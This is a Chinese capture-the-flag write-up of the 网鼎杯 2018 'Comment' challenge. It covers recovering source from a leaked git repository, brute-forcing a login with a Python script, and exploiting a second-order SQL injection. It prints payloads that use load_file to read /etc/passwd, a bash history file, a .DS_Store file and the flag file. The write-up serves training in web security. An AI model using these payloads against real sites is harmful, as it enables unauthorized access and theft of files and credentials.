Loading

[BUUCTF题解][网鼎杯 2018]Comment

### 知识点

  • git泄露
  • SQL二次注入
  • SQL文件读取
  • 特殊文件识别和利用

过程

做题先搜集(扫目录+检查HTTP报文+查看初始页面HTML代码),可以看到存在git泄露,这里直接用githacker把泄露的部分下载下来。

githacker --url http://2b661b6a-7be0-408c-84e4-0aa48b856bee.node4.buuoj.cn:81/ --folder ./result

image-20220329083333139

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

尝试下是否有其他版本,用git命令查看下。

git log --all

image-20220329091716328

在版本为e5b2a2443c2b6d395d06960123142bc91123148c时可以找到write_do.php的更加完全版本的代码。

git reset --hard  e5b2a2443c2b6d395d06960123142bc91123148c
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

可以存在明显的二次注入,从wrtie功能写入,在comment功能执行,category字段可以用来使用payload,可以构造如下格式的payload。

先访问登录页面login.php查看下。

image-20220329083556043

注意到其中账户密码的默认填充字符,需要注意此处就是出题人给出的提示,账户为zhangwei密码为zhangwei***,其中的***为三位的未知字符串需要我们爆破。

这里先***测试为纯数字的情况。

import requests as res
import time
url="http://2b661b6a-7be0-408c-84e4-0aa48b856bee.node4.buuoj.cn:81/login.php"
def change(num):
        return ('0'*(3-len(str(num))))+str(num)

for num in range(648,1000):
        resp=res.post(url=url,data={"username":"zhangwei","password":"zhangwei{}".format(change(num))})
        print(change(num)+'=>'+str(len(resp.text)))
        time.sleep(0.3)

image-20220329091153138

可以看到***的实际值为666,用得到的账户和密码进行登录,接下来就可以进行二次登录了。

先写入在写入功能写入payload,如下body部分中参数categorycontent=database()部分的database()可以替换为其他SQL查询语句或者函数,payload其余部分则可视为固定。

image-20220330160027026

接着在评论功能触发二次注入,同样在此的payload也视为固定(注意项目的SQL语句为多行,所以需要#/**/配合使用)。

image-20220330160233065

然后就能在对应的详情页面的留言部分查看到注入后的结果。

image-20220330160352863

按照惯例去依次查找下库、表、字段。

title=test&category=test',content=(select(group_concat(schema_name))from(information_schema.schemata)),/*&content=test

image-20220330160835310

title=test&category=test',content=(select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),/*&content=test

image-20220330160923065

但查到字段时就发现,无论在那个表都找不到flag相关的字段,这里尝试读取下文件是否可行。

title=test&category=test',content=((select(load_file("/etc/passwd")))),/*&content=test

image-20220330161906361

成功了,并且可以发现WEB系统用户home目录竟然在/home下,尝试去读取下其操作记录。

title=test&category=test',content=((select(load_file("/home/www/.bash_history")))),/*&content=test

image-20220330162424201

可以看到当前项由html.zip在原本/tmp目录下解压再复制到/var/www,并且记录了关于项目html文件结构的.DS_Store/tmp目录中仍存在一份,去读取这个文件了解下项目结构。

title=test&category=test',content=((select(load_file("/tmp/html/.DS_Store")))),/*&content=test

image-20220330163439321

可能由于乱码问题所以无法完全读取,这里采用对其转成16进制。

title=test&category=test',content=((select(hex(load_file("/tmp/html/.DS_Store"))))),/*&content=test

image-20220330164014479

可以将得到的16进制写入文件再用相关的.DS_Store文件解析器去解析,但是此处都没显示完全(可以看到16进制末尾是一串...),所以直接转换成ASCII字符来查看也是可行的。

image-20220330165605168

可以识别出上图红框中文件与flag相关,去去读下,为了保险起见先尝试hex处理后的内容。

title=test&category=test',content=((select(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")))),/*&content=test

image-20220330165628756

image-20220330165650318

获取到flag。

posted @ 2022-03-30 17:01  Article_kelp  阅读(795)  评论(0编辑  收藏  举报